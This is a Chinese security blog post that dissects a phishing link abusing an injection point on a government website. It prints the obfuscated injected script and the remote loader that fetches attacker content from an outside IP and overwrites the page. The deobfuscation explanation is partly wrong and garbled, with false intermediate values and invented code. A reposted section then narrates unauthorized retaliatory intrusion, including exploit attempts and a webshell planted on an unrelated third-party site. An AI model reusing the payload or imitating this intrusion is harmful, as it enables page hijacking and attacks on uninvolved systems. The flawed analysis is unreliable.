【黑产分析】政府网站url跳转引发的黑产利用链分析
2023-5-5 11:4:5 Author: 利刃信安攻防实验室(查看原文) 阅读量:82 收藏

今天在上班的路上,我正在悠闲的乘坐公交车欣赏路边的人头,小区群里突然蹦出来一条消息

点进去瞅瞅,新店开业不得免费吃3天?

卧槽,这是啥,说好的免费吃3天呢,你给我推送海底捞干嘛?

卧槽,域名还是政府网站,有趣有趣!

把链接拿出来分析一波

https://hd.jszwfw.gov.cn/jszwfw/gyqry/gyLogin.do?gotoUrl=%31%27%3Be1%3D%279ZG9jdW1lbnQNCno1LmRvY3VtZW50RWxlbWVudC5oaWRkZW49JzEnDQp6NS50aXRsZT0nTG9hZGluZy4uLicNCmltcG9ydCgnLy92MmxvYWQub3NzLWNuLXNoYW5naGFpLmFsaXl1bmNzLmNvbS9oejE4LmpzPz8%2Fd3g9Jyk%3D%27%2Cb6%3D%27ejU%27%2Cm%3D%27toSt%27%2Cn%3D%27ring%27%2Cm%2B%3Dn%2Cf%3D%7Bl%3Aframes%2Ck%3A%28725825-32084%29%5Bm%5D%2836%29%2Cj%3A%28380134-21979%29%5Bm%5D%2832%29%7D%2Cf.l%5Bf.k%5D%28f.l%5Bf.j%5D%28b6%2Be1%29%29%2Cn64%28%29%3C8%3Bvar%20loginurl%20%3D%20%27&webId=93&vzmxoy=9ec1f56b5795d449f1983eee0764545b31f3a2d61f64c60d7dddce8145dc3d2e1f6cc6

恶意js代码还进行了混淆

1%27%3Be1%3D%279ZG9jdW1lbnQNCno1LmRvY3VtZW50RWxlbWVudC5oaWRkZW49JzEnDQp6NS50aXRsZT0nTG9hZGluZy4uLicNCmltcG9ydCgnLy92MmxvYWQub3NzLWNuLXNoYW5naGFpLmFsaXl1bmNzLmNvbS9oejE4LmpzPz8%2Fd3g9Jyk%3D%27%2Cb6%3D%27ejU%27%2Cm%3D%27toSt%27%2Cn%3D%27ring%27%2Cm%2B%3Dn%2Cf%3D%7Bl%3Aframes%2Ck%3A%28725825-32084%29%5Bm%5D%2836%29%2Cj%3A%28380134-21979%29%5Bm%5D%2832%29%7D%2Cf.l%5Bf.k%5D%28f.l%5Bf.j%5D%28b6%2Be1%29%29%2Cn64%28%29%3C8%3Bvar%20loginurl%20%3D%20%27

让我们逐步分析这段编码过的 JavaScript 代码,并进行反混淆。

首先,我们可以看到该代码使用了 URL 编码,需要使用 decodeURIComponent() 函数进行解码。

将该代码进行解码后,得到以下代码:

;e1='9ZG9jdW1lbnQNCno1LmRvY3VtZW50RWxlbWVudC5oaWRkZW49JzEnDQp6NS50aXRsT0nTG9hZGluZy4uLicNCmltcG9ydCgnLy92MmxvYWQub3NzLWNuLXNoYW5naGFpLmFsaXl1bmNzLmNvbS9oejE4LmpzPz8/d3g9Jyk=',b6='e5',m='toString',n='ring',m+=n,f={l:frames,k:(725825-32084)[m](36),j:(380134-21979)[m](32)},f.l[f.k](f.l[f.j](b6+e1)),n64()<8;var loginurl = '

接下来,我们考虑这段代码的具体作用。

首先,e1 的值为一个 base64 编码过后的字符串,解码后得到以下代码:

'\n5.documentElement.offsetHeight=\'1\'\nz5.title=\'Loading...\'\nimport(\'/v2load.os-cn-shanghai.aliyuncs.com/hz18.js?/wx=\'+wx)\n'

这段代码将网页的高度设置为 1,在页面上显示 "Loading...",并引入一个名为 "hz18.js" 的外部 JavaScript 文件。其中 "wx" 的值将通过之后的代码计算得到。

接着,b6、m、n 各自被赋值为 "e5"、"toString"、"ring"。把这些字符串拼接起来得到字符串 "toStringring" 赋值给变量 m。

接下来的代码中定义了一个对象 f,定义了三个键:l、k、j,分别对应 window.frames,7255044 和 3780155 这三个值。这里注意,7255044 和 3780155 是以下代码的运算结果:

(725825-32084)["toS"+"tring"](36) // 7255044(380134-21979)["toS"+"tring"](32) // 3780155

我们可以想到,这里的代码通过字符串拼接和运算,将 "toStringring" 转化为 7255044 和 3780155。

接下来的代码中,将函数 f.l[f.k] 以及 f.l[f.j] 分别作为参数传递给 b6+e1。这部分代码的含义是将 "e5" 和之前引入的 JavaScript 文件的代码拼接起来,之后再次执行 eval() 函数运行该字符串,从而完成页面的初始化操作。

最后,代码中出现了 n64() < 8。由于该函数尚未定义,因此运行时会抛出错误。

综上所述,我们可以将这段代码进行重构并简化为以下的代码:

document.documentElement.offsetHeight = '1';document.title = 'Loading...';
importScript('/v2load.os-cn-shanghai.aliyuncs.com/hz18.js?/wx=' + window.wx);
function importScript(src) { var script = document.createElement('script'); script.type = 'text/javascript'; script.async = true; script.src = src; document.getElementsByTagName('head')[0].appendChild(script);}
var loginurl = '';

反混淆完成!

我们注意到一个域名

https://v2load.oss-cn-shanghai.aliyuncs.com/hz18.js?/wx=

直接访问

document.title="Loading...";document.documentElement.hidden=1;(function(){    var rmd = Math.random().toString(36).substr(2,7);    var geUrl='//47.100.4.56/'+rmd+'?ref='+encodeURIComponent(location.href.split('#')[0]);    var xhr=new XMLHttpRequest;xhr.onload=function(){var onhash=window.onhashchange;var h=xhr.responseText;var a=document.open("text/html","replace");a.write(h);a.close();window.onhashchange=onhash};    xhr.open("GET",geUrl,!0);xhr.send();})();

这段代码的作用是加载一个来自远程服务器的 URL 并在加载完成后将其响应结果显示在当前页面中,同时在加载完成之前隐藏整个页面以避免影响用户体验。

具体的代码解释如下:

document.title = "Loading..."// 将页面标题设置为 Loading...
document.documentElement.hidden = 1// 将整个页面隐藏,以避免影响用户体验
(function(){ var rmd = Math.random().toString(36).substr(2,7); // 生成一个随机字符串 var geUrl = '//47.100.4.56/' + rmd + '?ref=' + encodeURIComponent(location.href.split('#')[0]); // 构造请求的 URL var xhr = new XMLHttpRequest; // 创建 XMLHttpRequest 对象 xhr.onload = function(){ // 当请求完成后执行以下代码 var onhash = window.onhashchange; var h = xhr.responseText; // 获取请求结果 var a = document.open("text/html","replace"); // 打开一个新页面 a.write(h); // 将请求结果写入新页面 a.close(); // 关闭新页面 window.onhashchange = onhash; // 重置页面的 hashchange 事件 }; xhr.open("GET", geUrl, !0); // 发送 GET 请求 xhr.send(); // 发送请求})();

在解码后,你可以看到原js文件请求的URL就是 `//47.100.4.56/`,请求链接会携带当前页面的来源地址(ref)。在代码的最后,会通过 `XMLHttpRequest` 对象进行 GET 请求,并在请求返回后将响应的结果写入一个新页面并打开它,这实现了从远程服务器获取资源并展示到当前页面的功能。

获取恶意ip地址

47.100.4.56

时间仓促,后续直接借鉴大佬的类似黑产的反击文章。

后续内容系转载安全客文章。

反攻

提取目标信息收集一波

先日常信息收集扫一下目录和端口吧。

目录如下

BBApp,没什么卵用

ad,一些初始化操作,init方法可以获取到发送到微信的url

b,这应该就是前面被加密的源码,里面的几个.html?=都是跳转到各种推广文章

发现一个比较有趣的点是,这b居然把微信举报页面也做了一个,让大家用他的举报,误以为已经举报过了。

真的好骚,怎样可以增加链接存活时间。学到了,好骚的思路

里面包含其他页面都是一些广告软文,没什么好看

我们继续看一下目标开发端口

999端口也开了web,扫了一下目录没什么发现。

9995 端口是宝塔的登录,没什么好搞的

fofa搜一波旁站,无收获

撒旦搜一波,无收获

钟馗搜一波。惊xi,有两个站,以前小瞧钟馗了

其中一个凉了

另一个是xxxxPHP,感觉有戏,看着有点像tp的风格,不管先扫一波目录

扫完目录如下

直接访问一波,看看这报500的页面是什么

好小子,这不得写个y4er.php上去?狗头

随后就是拿着y4的payload疯狂乱怼,此处省略一个小时,由于是复盘,没有太多细节。

无论用什么payload,怼过去都是直接反回404.

明明在版本内却拿不下?凉了?

要换做别的大佬早就一个payload早就进去了,是我太菜了,还是运气不太行啊

于是乎不信邪,明明在版本内打不进去?你行吗我不信

直接google搞个同站来试试,请勿模仿,如果有源码建议本地自己搭建一个,不要乱来。

简单看了一下第一个应该是源码,先不管,不会php代码审计,放一下。

进去第二个,完美一模一样

再次开始疯狂丢payload,试试怎么,此处省略半个小时,测试细节。

最后成了,payload有用啊,phpinfo直接就出来

mdfk 写个shell试试,毫不含糊,直接成功

在写shell耗费了一点时间,明明是5.09却用了5.22的payload进去了。估计是由于二开的原因吧

上蚁剑,直接连

误伤了。赶快掉头回去,这个站先放了

赶快把payload拿回去试试,心想这次应该稳了吧。

没错还是404,心寒,应该是打过补丁了,或者就是把一些关键文件删除了。cao

那就继续查看别的扫出来的目录

Md 一个小说站,最后翻了好久没什么功能点。就打算先放一下继续信息收集。

要是会代码php代码审计估计已经进去了,菜是原罪啊

惊喜

由于注意到之前扒出来的是个cn域名,那就继续查一波whois吧,

是个人搭建的,继续反查下域名

后面主要思路是:

  • 审计一下另一个站的源码,看看有没有突破口

  • 继续跟下这剩下的几个域名

本文后续反攻部分由Safe6Sec原创发布

后续文章地址:

https://www.anquanke.com/post/id/241904

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247503593&idx=1&sn=09eaec4daef581d8b01db834476ce5be&chksm=fbfb7e24cc8cf732bef9f3229139f01915a6d9a4ed191ea6f10eaddec0f8a4be97dc38d425ef#rd
如有侵权请联系:admin#unsafe.sh